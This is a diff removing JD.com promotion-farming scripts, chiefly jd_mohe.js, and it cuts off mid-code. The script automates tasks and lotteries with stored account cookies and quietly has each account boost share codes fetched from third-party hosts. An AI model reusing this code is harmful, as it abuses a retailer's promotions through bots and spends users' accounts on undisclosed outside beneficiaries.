"*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} // prettier-ignore function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_mohe.js b/jd_mohe.js deleted file mode 100644 index 4d804371b..000000000 --- a/jd_mohe.js +++ /dev/null @@ -1,537 +0,0 @@ -/* -5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值 -活动地址: https://blindbox5g.jd.com -活动时间:2021-06-2到2021-07-31 -更新时间:2021-06-3 12:00 -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#5G超级盲盒 -0 0,1-23/3 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=================================Loon=================================== -[Script] -cron "0 0,1-23/3 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js,tag=5G超级盲盒 - -===================================Surge================================ -5G超级盲盒 = type=cron,cronexp="0 0,1-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js - -====================================小火箭============================= -5G超级盲盒 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js, cronexpr="0 0,1-23/3 * * *", timeout=3600, enable=true - */ -const $ = new Env('5G超级盲盒'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message, allMessage = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://api.m.jd.com/api'; -//邀请码一天一变化,已确定 -$.shareId = []; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log('5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,3小时运行一次收集热力值\n' + - '活动地址: https://blindbox5g.jd.com\n' + - '活动时间:2021-8-2到2021-10-29\n' + - '更新时间:2021-8-8 19:00'); -// $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_shareCodes.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); -// await $.wait(1000) - await updateShareCodesCDN('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_shareCodes.json') - await $.wait(1000) - await getShareCode() - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareUrl(); - await getCoin();//领取每三小时自动生产的热力值 - await Promise.all([ - task0() - ]) - $.taskList_limit = 0 - await taskList(); - await getAward();//抽奖 - } - } - if (allMessage) { - if ($.isNode()) await notify.sendNotify($.name, allMessage); - $.msg($.name, '', allMessage, {"open-url": "https://blindbox5g.jd.com"}) - } - $.shareId = [...($.shareId || []), ...($.updatePkActivityIdRes || []), ...($.zero205Code || [])]; - for (let v = 0; v < cookiesArr.length; v++) { - cookie = cookiesArr[v]; - $.index = v + 1; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n\n自己账号内部互助`); - for (let item of $.shareId) { - console.log(`账号 ${$.index} ${$.UserName} 开始给 ${item}进行助力`) - const res = await addShare(item); - if (res && res['code'] === 2005) { - console.log(`次数已用完,跳出助力`) - break - } else if (res && res['code'] === 1002) { - console.log(`账号火爆,跳出助力`) - break - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function task0() { - const confRes = await conf(); - if (confRes.code === 200) { - const { brandList, skuList } = confRes.data; - if (skuList && skuList.length > 0) { - for (let item of skuList) { - if (item.state === 0) { - let homeGoBrowseRes = await homeGoBrowse(0, item.id); - console.log('商品', homeGoBrowseRes); - await $.wait(1000); - const taskHomeCoin0Res = await taskHomeCoin(0, item.id); - console.log('商品领取金币', taskHomeCoin0Res); - // if (homeGoBrowseRes.code === 200) { - // await $.wait(1000); - // await taskHomeCoin(0, item.id); - // } - } else { - console.log('精选好物任务已完成') - } - } - } - } -} -function addShare(shareId) { - return new Promise((resolve) => { - const body = {"shareId":shareId,"apiMapping":"/active/addShare"} - $.post(taskurl(body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data['code'] === 200) { - console.log(`助力好友【${data.data}】成功\n`); - } else { - console.log(`助力失败:${data.msg}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function conf() { - return new Promise((resolve) => { - const body = {"apiMapping":"/active/conf"}; - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function homeGoBrowse(type, id) { - return new Promise((resolve) => { - const body = {"type":type,"id":id,"apiMapping":"/active/homeGoBrowse"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function taskHomeCoin(type, id) { - return new Promise((resolve) => { - const body = {"type":type,"id":id,"apiMapping":"/active/taskHomeCoin"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function getCoin() { - return new Promise((resolve) => { - const body = {"apiMapping":"/active/getCoin"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.code === 1001) { - console.log(data.msg); - $.msg($.name, '领取失败', `${data.msg}`); - $.done(); - } else { - console.log(`成功领取${data.data}热力值`) - resolve(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -async function taskList() { - $.taskList_limit++ - return new Promise(async (resolve) => { - const body = {"apiMapping":"/active/taskList"} - $.post(taskurl(body), async (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.code === 200) { - const { task8, task4, task1, task2, task5 } = data.data; - //浏览商品 - if (task4.finishNum < task4.totalNum) { - await browseProduct(task4.skuId); - await $.wait(2000) - await taskCoin(task4.type); - await $.wait(2000) - } - //浏览会场 - if (task1.finishNum < task1.totalNum) { - await strollActive((task1.finishNum + 1)); - await $.wait(2000) - await taskCoin(task1.type); - await $.wait(2000) - } - //关注或浏览店铺 - if (task2.finishNum < task2.totalNum) { - await followShop(task2.shopId); - await $.wait(2000) - await taskCoin(task2.type); - await $.wait(2000) - } - // if (task5.finishNum < task5.totalNum) { - // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) - // } else { - // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) - // } - if (task4.state === 2 && task1.state === 2 && task2.state === 2) { - console.log('\n\n----taskList的任务全部做完了---\n\n') - console.log(`分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) - } else { - if ($.taskList_limit >= 15){ - console.log('触发死循环保护,结束') - } else { - console.log(`请继续等待,正在做任务,不要退出哦`) - await taskList(); - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//浏览商品 -function browseProduct(skuId) { - return new Promise((resolve) => { - const body = {"skuId":skuId,"apiMapping":"/active/browseProduct"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -// 浏览会场 -function strollActive(index) { - return new Promise((resolve) => { - const body = {"activeId":index,"apiMapping":"/active/strollActive"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//关注或浏览店铺 -function followShop(shopId) { - return new Promise((resolve) => { - const body = {"shopId":shopId,"apiMapping":"/active/followShop"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//领取任务奖励 -function taskCoin(type) { - return new Promise((resolve) => { - const body = {"type":type,"apiMapping":"/active/taskCoin"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -async function getAward() { - const coinRes = await coin(); - if (coinRes.code === 200) { - const { total, need } = coinRes.data; - if (total > need) { - const times = Math.floor(total / need); - for (let i = 0; i < times; i++) { - await $.wait(2000); - let lotteryRes = await lottery(); - if (lotteryRes.code === 200) { - console.log(`====抽奖结果====,${JSON.stringify(lotteryRes.data)}`); - console.log(lotteryRes.data.name); - console.log(lotteryRes.data.beanNum); - if (lotteryRes.data['prizeId'] && (lotteryRes.data['type'] !== '99' && lotteryRes.data['type'] !== '3' && lotteryRes.data['type'] !== '8' && lotteryRes.data['type'] !== '9')) { - message += `抽奖获得:${lotteryRes.data.name}\n`; - } - } else if (lotteryRes.code === 4001) { - console.log(`抽奖失败,${lotteryRes.msg}`); - break; - } - } - if (message) allMessage += `京东账号${$.index} ${$.nickName}\n${message}抽奖详情查看 https://blindbox5g.jd.com/#/myPrize${$.index !== cookiesArr.length ? '\n\n' : ''}` - } else { - console.log(`目前热力值${total},不够抽奖`) - } - } -} -//获取有多少热力值 -function coin() { - return new Promise((resolve) => { - const body = {"apiMapping":"/active/coin"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -//抽奖API -function lottery() { - return new Promise((resolve) => { - const body = {"apiMapping":"/prize/lottery"} - $.post(taskurl(body), (err, resp, data) => { - try { - data = JSON.parse(data); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function shareUrl() { - return new Promise((resolve) => { - const body = {"apiMapping":"/active/shareUrl"} - $.post(taskurl(body), async (err, resp, data) => { - try { - data = JSON.parse(data); - if (data['code'] === 5000) { - console.log(`尝试多次运行脚本即可获取好友邀请码`) - } - if (data['code'] === 200) { - if (data['data']) $.shareId.push(data['data']); - console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data['data']}\n`); - console.log(`此邀请码一天一变化,旧的不可用`) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function taskurl(body = {}) { - return { - 'url': `${JD_API_HOST}?appid=blind-box&functionId=blindbox_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, - 'headers': { - "accept": "application/json, text/plain, */*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-cn", - "content-type": "application/x-www-form-urlencoded", - 'origin': 'https://blindbox5g.jd.com', - "cookie": cookie, - "referer": "https://blindbox5g.jd.com", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function updateShareCodesCDN(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.updatePkActivityIdRes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getShareCode() { - return new Promise(resolve => { - $.get({ - url: "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jd_mohe.json", - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, - "timeout": 10000 - }, async (err, resp, data) => { - try { - if (err) { - } else { - $.zero205Code = JSON.parse(data) || [] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return 